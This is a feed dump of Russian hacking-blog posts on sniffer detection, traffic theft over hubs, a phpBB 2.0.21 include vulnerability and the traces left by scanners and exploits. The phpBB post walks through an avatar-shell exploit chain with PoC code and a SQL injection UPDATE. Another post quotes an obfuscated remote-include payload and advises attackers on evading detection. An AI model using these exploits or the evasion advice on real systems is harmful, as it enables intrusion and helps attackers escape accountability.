lo Link encap:Local Loopback<br />
inet addr:127.0.0.1 Mask:255.0.0.0<br />
UP LOOPBACK RUNNING MTU:3924 Metric:1<br />
RX packets:2373 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:2373 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0</p>
<p>ppp0 Link encap:Point-to-Point Protocol<br />
inet addr:195.170.y.x P-t-P:195.170.y.x Mask:255.255.255.255<br />
UP POINTOPOINT PROMISC RUNNING NOARP MULTICAST MTU:1500 Metric:1<br />
RX packets:3281 errors:74 dropped:0 overruns:0 frame:74<br />
TX packets:3398 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:10</p>
<p>Как видите интерфейс ppp0 стоит в PROMISC mode. Либо оператор загрузил снифф для проверки сети, либо вас уже имеют&#8230; Но помните, что ifconfig можно спокойно подменить, поэтому юзайте tripwire для обнаружения изменений и всяческие проги для проверки на сниффы.</p>
<p>AntiSniff for Unix.<br />
Работает на BSD, Solaris и Linux. Поддерживает ping/icmp time test, arp test, echo test, dns test, etherping test, в общем аналог AntiSniff&#8217;а для Win, только для Unix:).<br />
Install:<br />
#make linux-all</p>
<p>Sentinel<br />
Тоже полезная прога для отлова снифферов. Поддерживает множество тестов. Проста в использовании.<br />
Install : #make<br />
#./sentinel<br />
./sentinel [method] [-t ] [options]<br />
Methods:<br />
[ -a ARP test ]<br />
[ -d DNS test ]<br />
[ -i ICMP Ping Latency test ]<br />
[ -e ICMP Etherping test ]<br />
Options:<br />
[ -f ]<br />
[ -v Show version and exit ]<br />
[ -n ]<br />
[ -I ]</p>
<p>Опции настолько просты, что no comments.</p>
<p>MORE</p>
<p>Вот еще несколько утилит для проверки вашей сети(for Unix):<br />
packetstorm.securify.com/UNIX/IDS/scanpromisc.c -ремоутный детектор PROMISC mode для ethernet карт (for red hat 5.x).<br />
http://packetstorm.securify.com/UNIX/IDS/neped.c &#8212; Network Promiscuous Ethernet Detector (нужно libcap &#038; Glibc).<br />
http://packetstorm.securify.com/Exploit_Code_Archive/promisc.c -сканирует девайсы системы на детект сниффов.<br />
http://packetstorm.securify.com/UNIX/IDS/ifstatus2.2.tar.gz &#8212; ifstatus тестит сетевые интерфейсы в PROMISC mode.</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-292/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Воровство траффика: loozy sniffing</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-289/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-289/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:40 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=597</guid>
		<description><![CDATA[Уже много сказано и написано о TCP over ICMP или DNS и прочих способах не платить провайдеру за траффик, я не буду сейчас об этом говорить. Мой рассказ пойдет о сопредельной проблеме &#8212; об изначальной незащищенности сетевых протоколов, и о том как легко тебя могут заставить платить за чужой траффик. Итак есть так называемое «интернет [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet297.jpg" alt="интернет" />Уже много сказано и написано о TCP over ICMP или DNS и прочих способах не платить провайдеру за траффик, я не буду сейчас об этом говорить. Мой рассказ пойдет о сопредельной проблеме &#8212; об изначальной незащищенности сетевых протоколов, и о том как легко тебя могут заставить платить за чужой траффик.<br />
Итак есть так называемое «интернет здание». Есть хаб в подсобке и есть куча довольных жизнью потребителей интернет-траффика навешанных на этот хаб. И ты, родимый, среди них. Все зашибись…<br />
Но если у тебя крутится WWW, или открыт любой другой TCP-порт в который можно послать хоть один байт &#8212; ты мишень для loozy sniffing’a.<span id="more-597"></span> Что есть «loozy sniffing»? На схеме это выглядит так:<br />
Так как хаб это концентратор, а не коммутатор, то ВСЕ сетевые карты, в сегменте обслуживаемом этим хабом, получают ВСЕ пакеты адресованные любой из них. Соответственно поток данных, который HackerSERV передает (через любой открытый прокси) любому открытому сервису машины MyHOST или OtherHOST так же попадают и на сетевую карту машины HackerHOST.<br />
Осталось дело за малым &#8212; пишется простейший сниффер, который перехватывает все пакеты адресованные определенному порту любого адреса, и сравнивает содержимое пакетов с некоей структурой. Например такой:</p>
<p>{<br />
заголовок_HTTP_запроса (n bytes),<br />
сигнатура «ХАКЕР» (5 bytes),<br />
длина заголовка (2 bytes),<br />
заголовок хакерского пакета (n bytes),<br />
длина пакета (2 bytes),<br />
данные (n byte);<br />
}</p>
<p>При нахождении такового пакета из его хакерского заголовка вытаскиваются необходимые поля (например имя передаваемого файла и номер передаваемого куска) и сами данные. Вуаля! Данные у хакера, а за входящий трафик платит хозяин MyHOST…</p>
<p>Теперь встает вопрос «Как от этого защищаться».</p>
<p>Если учесть, что длина Ethernet-пакета не зависит от того, сколько байт из него будет принято сервисом на машине-получателе, то ограничением длинны принимаемого TCP-запроса мы ничего не добьемся. Огромное количество открытых для всех proxy-серверов говорит о том, что наш непосредственный провайдер не сможет их все зафильтровать.</p>
<p>Итого вывод &#8212; что бы такого не приключилось надо менять концентратор здания (тот самый хаб) на коммутатор (свич) и молить Аллаха, чтобы наш хакер не знал как этот свич обмануть (что возможно).</p>
<p>PS: Вышеописаный метод был проверен лично мной — работает <img src="http://suspended.ru/wp-includes/images/smilies/icon_sad.gif" alt=":(" class="wp-smiley" /> </p>
<p>PPS: Может подарить моему провайдеру свич?</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-289/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Поиск PHP уязвимостей на примере phpBB</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-285/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-285/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:39 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=593</guid>
		<description><![CDATA[Данная статья рассматривает способы подключения файлов в PHP скриптах, способы проверки данных, передаваемых в функции &#171;include&#187; и &#171;require&#187;, возможные случаи передачи данных в эти функции. Так же рассматриваются возможности подключения файлов &#171;сторонних&#187; производителей. В конце рассматривается возможность подключения файла загруженного как аватар. Статья преследует цель показать методику поиска и анализа мест, потенциально уязвимых для PHP-инъекций. [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet293.jpg" alt="интернет" />Данная статья рассматривает способы подключения файлов в PHP скриптах, способы проверки данных, передаваемых в функции &#171;include&#187; и &#171;require&#187;, возможные случаи передачи данных в эти функции. Так же рассматриваются возможности подключения файлов &#171;сторонних&#187; производителей. В конце рассматривается возможность подключения файла загруженного как аватар. Статья преследует цель показать методику поиска и анализа мест, потенциально уязвимых для PHP-инъекций. Она будет интересна людям, делающим первые шаги на пути поиска и эксплуатирования ошибок в PHP приложениях, давая возможность проследить за ходом поиска уязвимых мест в скриптах, также будет интересна и программистам, показывая на примерах способы проверки данных и выявление неточности в логике построения проверок.<span id="more-593"></span> Для тестиования выбран форум phpBB 2.0.21, и перед тем как читать дальше я рекомендую установить этот продукт.</p>
<p>Поискав require и include во всех исходниках форума я нашел подключения различных файлов. Много подключений однотипных, например подключается файл так &#171;$phpbb_root_path . &#8216;includes/functions_validate.&#8217;.$phpEx&#187;, т.е. указание на директорию, которая в зависимости от расположения подключающего файла меняется, затем точное указание на файл, добавление к нему расширения. Скорее всего $phpbb_root_path создана для удобной возможности перемещения файла из одного каталога в другой, и изменение этой переменной позволит легко переопределить пути подключения файла. Изменение этой переменной привело бы к возможности удаленного инклюда. $phpEx определяет расширение PHP скриптов, связано это с тем, что WWW сервис определяет PHP скрипт по его расширению. На некоторых серверах возможны такие варианты как &#171;php3&#8243;,&#187;php5&#8243;,&#187;phtml&#187;.<br />
Итак, что же сделано для того чтобы никто не смог переписать эти переменные? В файлах, где переменная &#171;$phpbb_root_path&#187;и &#171;$phpEx&#187; не задается явно, стоит проверка определена ли константа IN_PHPBB, если нет, то скрипт умирает сообщая &#171;Hacking attempt&#187;. В файлах, где определяется эта константа, в самом начале определяются и эти две переменные $phpbb_root_path и $phpEx. Изменить эти переменные можно только если register_globals включен (по умолчанию он выключен), и программист забыл поставить проверку константы. Архитектурно неверно использовать подобные приемы, лучше всего жестко определять пути для подключаемых файлов, либо для определения пути использовать константы. Так же лучше всего определить фиксированное расширение для подключаемых файлов и выделить для них отдельный каталог, закрытый, например, с помощью .htaccess, от передачи оттуда файлов . Хотя такие решения с переменными дают возможность использовать данное приложение на различных WWW сервисах.<br />
Из друг на друга похожих икнлюдов выделяются и интересуют нас следующие:</p>
<p>в файле admin/admin_styles.php<br />
$phpbb_root_path. &#171;templates/&#187; . basename($install_to) . &#171;/theme_info.cfg&#187;<br />
$phpbb_root_path. &#171;templates/&#187; . $sub_dir . &#171;/theme_info.cfg&#187;<br />
в файле index.php<br />
&#8216;./&#8217; . $file<br />
в файле faq.php<br />
$phpbb_root_path . &#8216;language/lang_&#8217; . $board_config['default_lang'] . &#8216;/&#8217;<br />
. $lang_file . &#8216;.&#8217; . $phpEx</p>
<p>в файле includes/functions.php<br />
function init_userprefs &#8212; $phpbb_root_path . &#8216;language/lang_&#8217;<br />
. $board_config['default_lang'] . &#8216;/lang_main.&#8217; . $phpEx<br />
function init_userprefs &#8212; $phpbb_root_path . &#8216;language/lang_&#8217;<br />
. $board_config['default_lang'] . &#8216;/lang_admin.&#8217; . $phpEx<br />
function setup_style &#8212; $phpbb_root_path . $template_path . $template_name<br />
. &#8216;/&#8217;. $template_name . &#8216;.cfg&#8217;<br />
function message_die &#8212; $phpbb_root_path . &#8216;language/lang_&#8217;<br />
. $board_config['default_lang'] . &#8216;/lang_main.&#8217;.$phpEx</p>
<p>Файл admin/admin_styles.php<br />
include($phpbb_root_path. &#171;templates/&#187; . basename($install_to)<br />
. &#171;/theme_info.cfg&#187;);<br />
Переменная install_to берется из запроса GET или POST в чистом виде, что может привести к передаче в эту переменную любой информации. Переменная обрабатывается функцией &#171;basenamе()&#187; и поэтому данные вида &#171;/../../myScriptName&#187; обрежутся до &#171;myScriptName&#187;. Но можно передать строку &#171;myScript\x0&#8243; и тогда из папки templates подключится файл &#171;myScript&#187; , либо передать &#171;..&#187; и тогда если в корне форума существует theme_info.cfg, он подключится. Если его нет, то будет ошибка.<br />
Стоит добавить проверки, которые поставлены в рассматриваемом далее инклюде, он так же находится в этом файле<br />
. include($phpbb_root_path. &#171;templates/&#187; . $sub_dir<br />
. &#171;/theme_info.cfg&#187;);<br />
Расположенный вне проверок такой вызов функции позволил бы, передав в $sub_dir данные, запустить скрипт загруженный как аватар. В итоге полученная строка, переданная в include, выглядела бы так<br />
./../templates/../images/avatars/shell.jpg\x0/theme_info.cfg<br />
Но $sub_dir переменная, в которую поочередно передаются имена файлов и папок из каталога &#171;./../templates/&#187;, значит возможность передать спецсимволы исключена.Дальше идет проверка того, что бы переменная не являлась файлом или ссылкой, не была бы равна &#171;.&#187;, &#171;..&#187; и, как нестранно, &#171;CVS&#187;. После такой проверки, $sub_dir однозначно будет каталогом. Последняя проверка устанавливает факт существования &#171;theme_info.cfg&#187;. В итоге проникнуть можно либо создав свой каталог и поместив &#171;theme_info.cfg&#187;, либо изменить существующий &#171;theme_info.cfg&#187;.<br />
В исходнике admin/index.php был найден такой инклюд &#171;include(&#8216;./&#8217; . $file);&#187;. Выглядит инклюд очень заманчиво, но передать в него любые данные не получится, поскольку в $file, передаются имена файлов и каталогов из &#171;admin/&#187;. А затем происходит проверка preg_match(&#171;/^admin_.*?\.&#187; . $phpEx . &#171;$/&#187;, $file). Рассмотри алгоритм проверки: первым проверяется наличие в начале строки admin_, дальше может идти любое значение, заканчиваться строка должна .php. Действительно, &#171;^&#187; означает начало строки в которой осуществляется поиск и за началом следует &#171;admin_&#187;, отсутсвие утверждения о начале, приведет к тому, что &#171;admin_&#187; сможет находится везде, что приведет к подключению файла с именем &#171;mySTRING_admin_.php&#187;. &#171;$&#187; утверждает об окончании строки (или множества строк). На конце строки должен находится php. Без данного утверждения preg_match возвращал бы true даже в том случае, если имя файла было бы &#171;admin_.php.mySTRING&#187; . В принципе, существование директории &#171;admin_.php&#187; вызовет ошибку в работе скрипта. Можно было бы, добавить проверку на не директорию и не ссылку. Так как единственная возможность выполнить include с вредоносным кодом это записать этот файл в директорию &#171;phpBB2/admin&#187;, то я думаю следует ограничить эту директорию правами только чтение и запуск.<br />
Так же в &#171;faq.php&#187; замечен интересный инклюд<br />
include($phpbb_root_path . &#8216;language/lang_&#8217; . $board_config['default_lang']<br />
. &#8216;/&#8217; . $lang_file . &#8216;.&#8217; . $phpEx);<br />
$lang_file определятся однозначно либо как lang_bbcode, либо lang_faq . Остается переменная $board_config['default_lang']. Нужно проверить существует ли возможность ее перезаписи.<br />
В common.php так определяется $board_config:<br />
$sql = &#171;SELECT *<br />
FROM &#187; . CONFIG_TABLE;<br />
if( !($result = $db->sql_query($sql)) )<br />
{<br />
message_die(CRITICAL_ERROR, &#171;Could not query config information&#187;<br />
, &#171;&#187;, __LINE__, __FILE__, $sql);<br />
}</p>
<p>while ( $row = $db->sql_fetchrow($result) )<br />
{<br />
$board_config[$row['config_name']] = $row['config_value'];<br />
}<br />
То есть, если существует возможность SQL инъекции, то нападающий сможет изменить значение в таблице, тем самым установив значение $board_config['default_lang'], например, на файл аватара. Скрипт faq.php обламывает такие попытки функцией init_userprefs (includes/functions.php). В этой фунции есть проверка basename&#8217;ом. В связи с тем, что basename отсечет все попытки прорваться в другие каталоги с помощью конструкций вида /../../, то можно указать на файл находящийся в language и начинающийся lang_ и заканчивающийся &#171;\x0&#8243;.<br />
Как говорилось выше в функции init_userprefs происходит вызов basename($board_config['default_lang']), затем полученный результат передается в $default_lang, проверяется наличие файла для инклюда, если файл не существует, то $default_lang становится равным &#171;english&#187;. А перед вызовом include, $board_config['default_lang'] приравнивается $default_lang. В функции setup_style есть вот такое подключение файла<br />
($phpbb_root_path . $template_path<br />
. $template_name . &#8216;/&#8217; . $template_name . &#8216;.cfg&#8217;)<br />
&#171;$template_path&#187; определяется как &#8216;templates/&#8217; и с этим ничего нельзя сделать, но остается &#171;$template_name&#187;. В &#171;$template_name&#187; передаются данные из SQL запроса $row['template_name']. Значит при осуществлении SQL инъекции можно будет передать сюда все, что угодно. После инициализации переменной &#171;$template_name&#187; происходит вызов функции из класса Template, параметры, которые в неё передаются &#8212; ($phpbb_root_path . $template_path . $template_name). Затем проверяется значение, которое возвратила функция, а она возвращает ID объекта. И если посмотреть на функцию, то видно, что ей безразлично какие параметры передаются. А потому проверка расположенная перед инклюдом проходится спокойно. Создайте файл hack.php в папке includes и поместите туда такой код:<br />
<?
$phpbb_root_path = "./../";
$template_path = 'templates/';
$template_name = "../images/avatars/shell.jpg\x0";
include ("./template.php");
$template = new Template($phpbb_root_path . $template_path . $template_name);
if ( $template )
{
@include($phpbb_root_path . $template_path
. $template_name . '/' . $template_name . '.cfg');
}
?><br />
Видим, что оболочка, загруженная под видом аватара, запускается. Теперь найдем вызов функции &#171;setup_style&#187; в функции &#171;init_userprefs&#187;, так как я использовал установленный без различных модификаций и стилей форум, то я перед вызовом setup_style($board_config['default_style']) ставлю echo $board_config['default_style']; и получаю 1. Просмотрев SQL запрос на получение данных составляем запрос, который должен быть осуществлен за счет SQL инъекции &#171;UPDATE phpbb_themes SET template_name=/&#8217;../images/avatars/shell.jpg\x0&#8242; WHERE themes_id = 1;<br />
Инзменив таким образом $template_name мы получаем возможность загрузить вместо стиля по умолчанию наш скрипт, загруженный как аватар. Данная уязвимость работает (скорее всего) на всех версиях phpBB2 (я проверил на последней 2.0.21 и 2.0.10). Внеся такие изменения попробуйте теперь загрузить главную страницу и вы получите запуск &#171;shell.jpg&#187;.</p>
<p>Осталась функция message_die<br />
function message_die &#8212; $phpbb_root_path . &#8216;language/lang_&#8217;<br />
. $board_config['default_lang'] . &#8216;/lang_main.&#8217;.$phpEx<br />
Известно, что $board_config['default_lang'] в функции не изменяется, что можно переписать эту переменную SQL инъекцией. Задача найти вызов функции, где перед ее вызовом не объявляется константа HEADER_INC и первым параметром не передается CRITICAL_ERROR, а так же не вызывается перед message_die функция init_userprefs.<br />
И это уже задача, твоя, читатель</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-285/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как подставляют сканнеры и эксплойты</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-286/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-286/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:39 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=594</guid>
		<description><![CDATA[Конечно же все мы когда либо пользовались сканнерами типа XSpider, LanSpy и т.д.. Так же большинство из нас пользуется эксплойтами которые пишут различные security-команды. При этом мы даже не задумываемся, или задумываемся совсем редко, о том, что сканнеры и эксплойты оставляют после себя огромную кучу следов, по которым Вас вычислить – дело часа, а то [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet294.jpg" alt="интернет" />Конечно же все мы когда либо пользовались сканнерами типа XSpider, LanSpy и т.д.. Так же большинство из нас пользуется эксплойтами которые пишут различные security-команды. При этом мы даже не задумываемся, или задумываемся совсем редко, о том, что сканнеры и эксплойты оставляют после себя огромную кучу следов, по которым Вас вычислить – дело часа, а то и минут 10. Сейчас я попытаюсь объяснить как именно Вас могут подставить эксплойты и сканнеры уязвимостей.</p>
<p>Для начала давайте рассмотрим сканнер безопасности XSpider. Безусловно, это лидер на рынке сканнеров безопасности. Но он создан именно для “открытого” сканирования. Самые первые следы могут быть найдены уже при начале сканирования – первым производится сканирование портов.<span id="more-594"></span> Оно производится в большое количество потоков, поэтому легко обнаружается файрволом, соответственно администратор может с лёгкостью обнаружить в лог-файлах файрвола Ваш IP. Но это ещё пол беды. Максимум что Вам могут сделать за сканирование – предупредить, либо в будущем отфильтровывать все запросы с Вашего IP-адреса (бан по IP).</p>
<p>Идём дальше – XSpider, при обнаружения какой либо службы, в которой присутствует авторизация (Telnet, FTP, POP3 и т.д.), начинает подбирать к ней пароль, что тоже чревато последствиями. По большому счёту при подборе пароля есть 2 варианта развития событий:</p>
<p>1. Таймаут<br />
2. Занесение попыток в логи</p>
<p>При первом варианте сервис обнаружает подбор пароля и на все, даже правильные, попытки авторизации начинает отказывать Вам в доступе. Соответственно администратору сообщается об этом.</p>
<p>При втором же варианте в логах появляется несколько сотен, а то и тысяч, строчек с попытками неверной авторизации, с промежутком в доли секунд, что явно указывает на подбор пароля. Это относится не только к XSpider, но и ко всем брутерам типа Brutus, Hydra и т.д..</p>
<p>Вот здесь  есть лог ftp-сервера к которому я подбирал пароль с помощью Brutus-AET2. При подборе использовались словари которые идут в комплекте с Brutus-AET2. (users.txt,words.txt). Подбор только по этим словарям добавил в логи ровно 1000 строчек. Тот же XSpider имеет словари которые больше в тысячи раз.</p>
<p>Далее проходит анализ веб-контента и CGI-сканирование. Анализ веб-контента страшен тем, что сканнер начинает обнаружать уязвимостями самыми пресловутыми способами – подставляя в параметры кавычки, AND 1=1/*, всяческие теги в поля для ввода и т.д. Любая IDS сразу начнёт визжать и выдаст огромный список попыток атак. Конечно, Вы можете сказать – “там же есть галочка “Маскировать от IDS””. Хочу Вас огорчить – эта галочка практически ничего не значит, более-менее нормально настроенная IDS всё равно обнаружит попытки атак. К тому же, даже если IDS не имеется, Вы загадите логи так, что любой Вася из 9 класса, за шоколадку держащий сервер, обнаружит факт CGI-сканирования.</p>
<p>Для того, что бы больше Вас убедить я просканировал свой веб-сервер XSpider`ом используя профиль HTTPAll, предварительно вычистив у веб-сервера все логии полностью. После CGI-сканирования логи стали весить 642(!) кб. Лог заполненный результатами работы XSpider Вы так же можете посмотреть здесь.<br />
Вот небольшой кусок из этого лога:</p>
<p>172.17.11.142 &#8212; - [21/Jan/2007:13:29:12 +0300] &#171;GET /nkpyuetjqhiarwwk.htm HTTP/1.1&#8243; 400<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:12 +0300] &#171;GET / HTTP/1.1&#8243; 302<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:12 +0300] &#171;GET /https-admserv/bin/index HTTP/1.1&#8243; 404<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:12 +0300] &#171;GET /Admin.po?proceed=yes HTTP/1.1&#8243; 404<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:13 +0300] &#171;GET /Admin/index.jsp HTTP/1.1&#8243; 200<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:13 +0300] &#171;GET /std.html HTTP/1.1&#8243; 404<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:13 +0300] &#171;GET /servlet/ServletManager HTTP/1.1&#8243; 404<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:13 +0300] &#171;GET /admin/contextAdmin/contextList.jsp HTTP/1.1&#8243; 200<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:14 +0300] &#171;GET / HTTP/1.1&#8243; 302<br />
172.17.11.142 &#8212; - [21/Jan/2007:13:29:14 +0300] &#171;PUT /PTNSSnnxam.txt HTTP/1.1&#8243; 405</p>
<p>Как видите – первые 4 запроса сделаны в 13:29:12 – 100% cgi-сканирование.<br />
Причём сканирование идёт со скоростью 4 запроса в секунду. На такую скорость сработает любая IDS. Ну и конечно же стоит упомянуть о том, что XSpider добавил своим сканированием 7068 строчек в лог-файл. Если Вы будете сканировать дохлый сайт какой ни будь компании, который посещают человека 2-3 в неделю (и то по ошибке), то Вы явно нарвётесь на неприятности. Самое лучшее, что можно сделать – сканировать/подбирать пароль через прокси. И то если Вы это сделаете, то будьте на 80% уверенны в том, что после Ваших действий Вас на той стороне уже будут ждать, а возможно и поменяют все пароли.<br />
Далее по списку (если используется профиль Default) идёт поиск уязвимостей в остальных сервисах – удалённые переполнения буфера, DoS и т.д.. И мало кто из начинающих читает предупреждения или Help сканнера. Вот вырезка из справки XSpider – “Иногда, при плохом качестве связи с проверяемым хостом возможно ложное определение DoS-уязвимости (когда связь с хостом прервалась случайно, а XSpider сделал вывод, что прошла DoS-атака).” – отсюда делаем вывод &#8212; если DoS-атака пройдёт, то сервер реально может откинуться, но если верить той же справке, то такое происходит в 40% случаев. Обратите внимание ещё на то, что при настраивании профиля там ясно указывается &#8212; обнаружение некоторых уязвимостей может плохо кончится для сервера.<br />
Ну, думаю что со сканнерами и с брутерами всё понятно. Давайте теперь перейдём к эксплойтам. Вы наверное ни раз уже пользовались ими. Но хоть один из Вас задумывался как они работают? Что они делают? Какие следы могут оставить? Я думаю что 70% читателей скажут “Нет”.<br />
Большой популярностью (по мнению автора) пользуются эксплойты к форумам. Как Вы наверное уже знаете – на большинстве форумов распознавание пользователей происходит с помощью сессий. Имена сессий представляют из себя обычный набор букв и цифр – никаких посторонних или опасных знаков. Каждый кто заходит на форум получает сессию даже если он не авторизирован. Вот пример обычного имени сессии:<br />
ab7bfc3f886270fd339dcce652fed1eb<br />
А в эксплойте для ipb2.1.6 от RST как имя сессии передаётся строка ipb216_for_IDS. Так же, в каком-то эксплойте, (точно уже не помню) имя сессии было IDS_i_am_exploit. И таких примеров множество. Если Вы хотя бы немного знаете об IDS, то Вы наверное в курсе того что базы IDS часто обновляются, соответственно в них есть записи о том как распознать эксплоит.<br />
Конечно же, IDS стоят не на всех веб-серверах, но это не спасёт Вас от вычисления в ~60% случаях использования эксплойтов. Возьмём, к примеру, эксплоит для IPB 2.1.5 от RST, который выполнял произвольные команды. Он создаёт топик называющийся justxpl, с примечанием justxpl justxpl. Топик содержит следующий текст:<br />
r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116). chr(112).chr(58).chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).chr(100). chr(46).chr(114).chr(117).chr(47).chr(114).chr(53) .chr(55).chr(105). chr(112).chr(98). chr(105).chr(110).chr(99). chr(46). chr(116).chr(120).chr(116)))</p>
<p>Грамотный администратор сразу же поймёт в чём дело, а Вы лишний раз засветитесь.<br />
Вот вырезка из жалобы одного администратора провайдеру:<br />
“попытки взлома форума продолжаются – на этой неделе опять были созданы темы «justxpl». Автор лазит через прокси.”<br />
А эксплойты для удалённого переполнения буфера или повышения привилегий вообще не стоит использовать предварительно не проверив их работу хотя бы на виртуальной машине. Данные типы эксплойтов опасны тем, что могут делать далеко не то что обещают. В эксплойте может существовать и защита от дурака. Я слышал о множестве случаев когда запускали эксплоит, который (как в комментариях писалось) через уязвимость в определённом сервисе давал атакующему командную строку с привилегиями администратора, а получали полное вырубание сервиса или DoS всей машины.<br />
Эксплойты для поднятия привилегий через уязвимость в ядре вообще могут грохнуть ОС так, что придётся переустанавливать. А подумайте сами – за что дадут больше сроку: за то что Вы просто получили командную строку или за то что Вы убили ядро ОС и вывели сервер из рабочего состояния?<br />
Надеюсь после прочтения данной статьи многие задумаются и начнут перед атаками тестировать эксплойты на виртуальных машинах или локальном веб-сервере.</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-286/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>StreSS teSt Firewall&#8217;ов</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-287/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-287/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:39 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=595</guid>
		<description><![CDATA[конецформыначалоформыСейчас мы будем их жестоко тестить на предмет противодействия различным видам сетевых атак. Выясним же, кто действительно стоит того, чтобы занимать достойное место в системе, защищая её от всяческих напастей; а кто &#8212; разрекламированный друшлаг. 1. Безобразие начинается 2. Подопотные 3. Обещания разработчиков 4. Флудим 5. SYN - ICMP - IGMP - UDP 6. Нюкаем [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet295.jpg" alt="интернет" />конецформыначалоформыСейчас мы будем их жестоко тестить на предмет противодействия различным видам сетевых атак. Выясним же, кто действительно стоит того, чтобы занимать достойное место в системе, защищая её от всяческих напастей; а кто &#8212; разрекламированный друшлаг.</p>
<p>1. Безобразие начинается<br />
2. Подопотные<br />
3. Обещания разработчиков<br />
4. Флудим<br />
5. SYN<br />
- ICMP<br />
- IGMP<br />
- UDP<br />
6. Нюкаем<br />
7. Эксплоиты<br />
8. Прослушиваем<br />
9. Сканим<br />
10. Отключаем<br />
11. Кто здесь Лидер?</p>
<p>Посмотрим же как реализуют себя стенки в защите вашего любимого компа. Сейчас мы будем их жестоко тестить на предмет противодействия различным видам сетевых атак. Выясним же, кто действительно стоит того, чтобы занимать достойное место в системе, защищая её от всяческих напастей; а кто &#8212; разрекламированный друшлаг.<span id="more-595"></span></p>
